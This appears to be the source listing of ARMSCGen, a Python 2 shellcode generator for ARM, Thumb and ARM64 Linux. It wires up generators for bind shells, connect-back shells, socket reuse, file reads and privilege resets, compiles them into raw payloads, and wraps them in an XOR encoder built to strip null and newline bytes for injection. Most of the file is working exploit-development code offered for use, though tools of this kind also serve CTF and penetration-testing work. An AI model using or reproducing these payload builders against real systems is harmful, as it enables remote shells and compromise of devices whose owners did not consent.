Source code for ARMSCGen

#!python
import os
import sys
import tempfile
from socket import ntohs
from struct import unpack, pack

__VERSION__ = '$0.0.12'
__AUTHOR__  = 'alex.park'

##########################################################
## Thumb Mode 
##########################################################
from shellcodes.thumb import chmod       as th_chmod
from shellcodes.thumb import dup         as th_dup
from shellcodes.thumb import sh          as th_sh
from shellcodes.thumb import dupsh       as th_dupsh
from shellcodes.thumb import bindshell   as th_bindshell
from shellcodes.thumb import listen      as th_listen
from shellcodes.thumb import acceptloop  as th_acceptloop
from shellcodes.thumb import connect     as th_connect
from shellcodes.thumb import connectback as th_connectback
from shellcodes.thumb import open_file   as th_open_file
from shellcodes.thumb import sendfile    as th_sendfile
from shellcodes.thumb import cat         as th_cat
from shellcodes.thumb import exit        as th_exit
from shellcodes.thumb import findpeer    as th_findpeer
from shellcodes.thumb import findpeersh  as th_findpeersh
from shellcodes.thumb import getdents    as th_getdents
from shellcodes.thumb import ls          as th_ls
from shellcodes.thumb import setreuid    as th_setreuid
from shellcodes.thumb import setregid    as th_setregid
from shellcodes.thumb import overwrite   as th_overwrite
from shellcodes.thumb import appendwrite as th_appendwrite
from shellcodes.thumb import read_from_stack as th_read_from_stack
from shellcodes.thumb import write_to_stack  as th_write_to_stack
from shellcodes.thumb import infinityloop    as th_infinityloop

##########################################################
## ARM Mode
##########################################################
from shellcodes.arm import dup   as arm_dup
from shellcodes.arm import sh    as arm_sh
from shellcodes.arm import dupsh as arm_dupsh

##########################################################
## ARM64 Mode
##########################################################
from shellcodes.arm64 import sh   as arm64_sh
from shellcodes.arm64 import dup  as arm64_dup
from shellcodes.arm64 import cat  as arm64_cat
from shellcodes.arm64 import exit as arm64_exit
from shellcodes.arm64 import dupsh as arm64_dupsh
from shellcodes.arm64 import setreuid as arm64_setreuid
from shellcodes.arm64 import setregid as arm64_setregid
from shellcodes.arm64 import sendfile as arm64_sendfile
from shellcodes.arm64 import open_file as arm64_open_file
from shellcodes.arm64 import connect   as arm64_connect
from shellcodes.arm64 import connectback as arm64_connectback
from shellcodes.arm64 import listen as arm64_listen
from shellcodes.arm64 import acceptloop as arm64_acceptloop
from shellcodes.arm64 import bindshell as arm64_bindshell
from shellcodes.arm64 import infinityloop as arm64_infinityloop
from shellcodes.arm64 import read_from_stack as arm64_read_from_stack
from shellcodes.arm64 import getdents    as arm64_getdents
from shellcodes.arm64 import ls          as arm64_ls
from shellcodes.arm64 import appendwrite as arm64_appendwrite
from shellcodes.arm64 import write_to_stack  as arm64_write_to_stack
from shellcodes.arm64 import overwrite as arm64_overwrite
from shellcodes.arm64 import fsync as arm64_fsync
from shellcodes.arm64 import lseek as arm64_lseek
from shellcodes.arm64 import findpeer as arm64_findpeer
from shellcodes.arm64 import findpeersh as arm64_findpeersh

[docs]class thumbSCGen: """Thumb Mode Shellcode Generator Class """ def __init__(self): self.chmod = th_chmod.generate self.dup = th_dup.generate self.sh = th_sh.generate self.dupsh = th_dupsh.generate self.bindshell = th_bindshell.generate self.listen = th_listen.generate self.acceptloop = th_acceptloop.generate self.connect = th_connect.generate self.connectback = th_connectback.generate self.open_file = th_open_file.generate self.sendfile = th_sendfile.generate self.cat = th_cat.generate self.exit = th_exit.generate self.findpeer = th_findpeer.generate self.findpeersh = th_findpeersh.generate self.getdents = th_getdents.generate self.ls = th_ls.generate self.setreuid = th_setreuid.generate self.setregid = th_setregid.generate self.overwrite = th_overwrite.generate self.appendwrite = th_appendwrite.generate self.read_from_stack = th_read_from_stack.generate self.write_to_stack = th_write_to_stack.generate self.infinityloop = th_infinityloop.generate prepareCompiler('THUMB')
[docs]class armSCGen: """ARM Mode Shellcode Generator Class """ def __init__(self): self.dup = arm_dup.generate self.sh = arm_sh.generate self.dupsh = arm_dupsh.generate prepareCompiler('ARM')
[docs]class arm64SCGen: """ARM64 Mode Shellcode Generator Class """ def __init__(self): self.sh = arm64_sh.generate self.dup = arm64_dup.generate self.cat = arm64_cat.generate self.exit = arm64_exit.generate self.dupsh = arm64_dupsh.generate self.setreuid = arm64_setreuid.generate self.setregid = arm64_setregid.generate self.sendfile = arm64_sendfile.generate self.open_file = arm64_open_file.generate self.connect = arm64_connect.generate self.connectback = arm64_connectback.generate self.listen = arm64_listen.generate self.acceptloop = arm64_acceptloop.generate self.bindshell = arm64_bindshell.generate self.infinityloop = arm64_infinityloop.generate self.read_from_stack = arm64_read_from_stack.generate self.getdents = arm64_getdents.generate self.ls = arm64_ls.generate self.overwrite = arm64_overwrite.generate self.write_to_stack = arm64_write_to_stack.generate self.appendwrite = arm64_appendwrite.generate self.fsync = arm64_fsync.generate self.lseek = arm64_lseek.generate self.findpeer = arm64_findpeer.generate self.findpeersh = arm64_findpeersh.generate prepareCompiler('ARM64') # Assembler
BIN_AS32 = '/usr/bin/arm-linux-gnueabi-as' BIN_AS64 = '/usr/bin/aarch64-linux-gnu-as' ALTER_BIN_AS = 'as' # Linker BIN_LD32 = '/usr/bin/arm-linux-gnueabi-ld' BIN_LD64 = '/usr/bin/aarch64-linux-gnu-ld' ALTER_BIN_LD = 'ld' # Objcopy BIN_OC32 = '/usr/bin/arm-linux-gnueabi-objcopy' BIN_OC64 = '/usr/bin/aarch64-linux-gnu-objcopy' ALTER_BIN_OC = 'objcopy' # Empty BIN_AS = '' BIN_LD = '' BIN_OC = '' # RAW Shellcode RAW_SC = 'raw_sc' # capstone available g_capstone = False try: from capstone import * from capstone.arm import * g_capstone = True except ImportError: #SYSERR("There is no capstone library for disassembling") g_capstone = False except: SYSERR("Exception: Unknown in disasm(...)")
[docs]def SYSERR(m): """SYSERR(m) -> None Print syserr(2) screen to debug Args: m(fmt): message will be printed on syserr screen """ print >> sys.stderr, "%s" % (m)
[docs]def cleanup(fn): """clean up compiled files Args: fn(list): files in list will be deleted """ for f in fn: if os.path.exists(f) == True: try: os.unlink(f) except: pass
[docs]def prepareCompiler(mode='THUMB'): """prepares some PATH to compile safely """ global BIN_AS global BIN_LD global BIN_OC if (mode == 'THUMB') or (mode == 'ARM'): if os.path.exists(BIN_AS32) == False: BIN_AS = ALTER_BIN_AS else: BIN_AS = BIN_AS32 if os.path.exists(BIN_LD32) == False: BIN_LD = ALTER_BIN_LD else: BIN_LD = BIN_LD32 if os.path.exists(BIN_OC32) == False: BIN_OC = ALTER_BIN_OC else: BIN_OC = BIN_OC32 elif mode == 'ARM64': if os.path.exists(BIN_AS64) == False: BIN_AS = ALTER_BIN_AS else: BIN_AS = BIN_AS64 if os.path.exists(BIN_LD64) == False: BIN_LD = ALTER_BIN_LD else: BIN_LD = BIN_LD64 if os.path.exists(BIN_OC64) == False: BIN_OC = ALTER_BIN_OC else: BIN_OC = BIN_OC64 else: SYSERR("Not Implemented yet")
[docs]def CompileSC(source, isThumb=False, isNeedHead=True): """Compiles shellcode Args: source (str): shellcode in strings isThumb (boolean): Thumb or ARM Mode isNeedHead (boolean): It shows up if true Returns: compiled shellcode """ ASM_HEAD = """ .global _start .section .text _start: """ ASM_THUMB = """ .arm add r6, pc, #1 bx r6 .thumb """ fn = tempfile.mktemp() # binary file fn_s = fn + '.s' # as file fn_o = fn + '.o' # ld file fn_raw = fn + '.raw' # objcopy will_be_deleted = [fn, fn_s, fn_o, fn_raw] src = '' if isNeedHead: src += ASM_HEAD + '\n' #if isThumb: # src += ASM_THUMB + '\n' src += source # write a source open(fn_s, 'w').write(src) # compile a source if isThumb: COMPILE = '%s %s -o %s -mthumb' % (BIN_AS, fn_s, fn_o) else: COMPILE = '%s %s -o %s' % (BIN_AS, fn_s, fn_o) os.system(COMPILE) if os.path.exists(fn_o) == False: print "Failed to compile a source: %s" % (fn_s) cleanup(will_be_deleted) return "" # link an object LINKING = '%s %s -o %s' % (BIN_LD, fn_o, fn) os.system(LINKING) if os.path.exists(fn_o) == False: print "Failed to link an object: %s" % (fn_o) cleanup(will_be_deleted) return "" # objcopy OBJCOPY = '%s -I elf32-little -j .text -O binary %s %s' % (BIN_OC, fn, fn_raw) os.system(OBJCOPY) if os.path.exists(fn_raw) == False: print "Failed to make a raw file: %s" % (fn) cleanup(will_be_deleted) return "" f = open(fn_raw,'rb').read() cleanup(will_be_deleted) return f
[docs]def printHex(xhex): """print hex code in human-readable Args: xhex(hex): hex code Returns: human-readable hex code like '\\x41' """ xtmp = '' xhex = xhex.encode('hex') for x in range(0, len(xhex), 2): xtmp += '\\x' + xhex[x:x+2] return xtmp
[docs]def XOREncoder(scSize, xorkey, SC): """XOR Encoder to avoid some bad codes like ``0x0a``, ``0x00`` and so on Args: scSize(int): shellcode length xorkey(int): XOR key SC(str): shellcode Returns: XOR Encoder shellcode in string """ MAX_SC_SIZE = 256 LOOP_SC_SIZE = MAX_SC_SIZE - scSize sc=""" adr r8, scode main: mov r4, #%s adr r6, nanosleep loop: cmp r4, #%s bxhi r6 sub r4, r4, #%s ldrb r5, [r8, r4] eor r5, r5, #%s strb r5, [r8, r4] add r4, r4, #%s backloop: b loop backmain: bl main nanosleep: .arm add r6, pc, #1 bx r6 .thumb nanosleep2: sub r5, r5, r5 add r5, r5, #1 sub r6, r6, r6 push {r5, r6} push {r5, r6} mov r0, sp mov r1, sp mov r7, #162 svc 1 scode: .asciz "%s" """ % (LOOP_SC_SIZE, MAX_SC_SIZE, LOOP_SC_SIZE, xorkey, LOOP_SC_SIZE+1, printHex(SC)) return sc
[docs]def findXorKey(sc, bc=['\x00', '\x0a']): """find XOR key to scramble and to avoid all of bad chars such as ``0x00`` Args: sc(str): shellcode bc(list): bad chars to avoid Returns: key (int): XOR key Examples: >>> print findXorKey(sc) 2 """ size = len(sc) bcs = bc for i in range(0x01, 0xFF+1): key = i for s in sc: x = (ord(s) ^ i) if chr(x) in bcs: key = -1 break if key != -1: return key return -1
[docs]def encodeShellcode(sc, key): """encodes shellcode with key to avoid all of bad chars such as ``0x00`` Args: sc(str): shellcode key(int/str): XOR key Returns: xoredSC(str): XORed Shellcode Examples: >>> print encodeShellcode(sc, findXorKey(sc)) '\x0e\x02\x8d\xe0\x02"\xa2\xe1\x07\x02/\xeb\x0f\x12\xa2\xe3\t\x02\x92\xed-`kl-qj\x02' """ xsc = '' for i in range(0, len(sc)): xsc += chr( ord(sc[i]) ^ key ) return xsc
[docs]def checkBadChar(sc, bc=[0x00, 0x0a]): """checks bad chars in shellcode string Args: sc(str): shellcode bc(list): bad chars like ``0x00``, ``0x0a`` Returns: list if bad chars exists """ from collections import defaultdict bcs = defaultdict(int) size = len(sc) for s in sc: if s in bc: bcs[s] += 1 return bcs
[docs]def MakeXorShellcode(sc, isThumb=False): """Make XOR Encoder with Shellcode Args: sc(str): shellcode isThumb(boolean): ARM or Thumb Mode Returns: shellcode in hex Examples: >>> sc = MakeXorShellcode(bindshell, isThumb=True) """ key = findXorKey(sc) if key == -1: SYSERR("Failed to find xor key") return "" xorsc = encodeShellcode(sc, key) xorenc = XOREncoder(len(xorsc), key, xorsc) rv = checkBadChar(xorenc) if len(rv) != 0: SYSERR("!!! Bad char has been found in shellcode. Please check out") return "" return CompileSC(xorenc, isThumb=isThumb)
[docs]def uu16(u): """struct.unpack(2-bytes) Args: u(str): 2-bytes packed data Returns: unsigned short value """ return unpack('<H', u)[0]
[docs]def u16(u): """struct.unpack(2-bytes) Args: u(str): 2-bytes packed data Returns: short value """ return unpack('<h', u)[0]
[docs]def uu32(u): """struct.unpack(4-bytes) Args: u(str): 4-bytes packed data Returns: unsigned integer value """ return unpack('<I', u)[0]
[docs]def u32(u): """struct.unpack(4-bytes) Args: u(str): 4-bytes packed data Returns: integer value """ return unpack('<i', u)[0]
[docs]def getdent_to_list(rv): """parses getdent's struct to human readable. Args: rv(str): getdent's struct included file/directory name(s) Returns: fn(list): file/directory name(s) """ i = 0 fn = [] try: while 1: inode = rv[i:i+4] off = rv[i+4:i+8] st_size = u16(rv[i+8:i+10]) fname = rv[i+10:i+st_size] if st_size == 0: break xfname = fname.split('\x00')[0] if len(xfname) != 0: fn.append(xfname) i = i + st_size if i == len(rv): break if i > len(rv): # weird but have to exit break except: return fn.append('exception') return fn
[docs]def thumb_fixup(reg, value): """fixes up value for register Args: reg(str): register value(int): real value Retruns: fn(str): arranged value with register """ if value <= 255: return "\tmov %s, #%s" % (reg, value) fn = [] fn.append('\tsub %s, %s, %s' % (reg, reg, reg)) mod = value % 255 div = value / 255 for v in range(0, div): fn.append('\tadd %s, %s, #255' % (reg, reg)) fn.append('\tadd %s, %s, #%s' % (reg, reg, mod)) return '\n'.join(fn)
[docs]def disasm(code, arch='ARM', mode='THUMB'): """disassembles code in arch with mode Args: code(str): assemble code arch(str): Architechture (so far ARM only) mode(str): Mode (THUMB or ARM) Returns: result in string Examples: >>> rv = disasm(code, 'ARM', 'THUMB') """ if g_capstone == False: SYSERR("so far, there is no capstone module") return if arch == 'ARM': xarch = CS_ARCH_ARM elif arch == 'ARM64': xarch = CS_ARCH_ARM64 else: SYSERR("Not implemented yet") return "" if mode == 'THUMB': xmode = CS_MODE_THUMB else: xmode = CS_MODE_ARM md = Cs(xarch, xmode) md.detail = True totalSize = 0 dat = '' for i in md.disasm(code, 0x0000): #if i.id in (ARM_INS_BL, ARM_INS_CMP): if i.size == 4: s = "%08x" % uu32(i.bytes) elif i.size == 2: s = "%04x" % uu16(i.bytes) else: s = "-1" dat += "0x%08x (%04d): %-8s %-8s %s\n" %(i.address, totalSize, s, i.mnemonic, i.op_str) totalSize += i.size return dat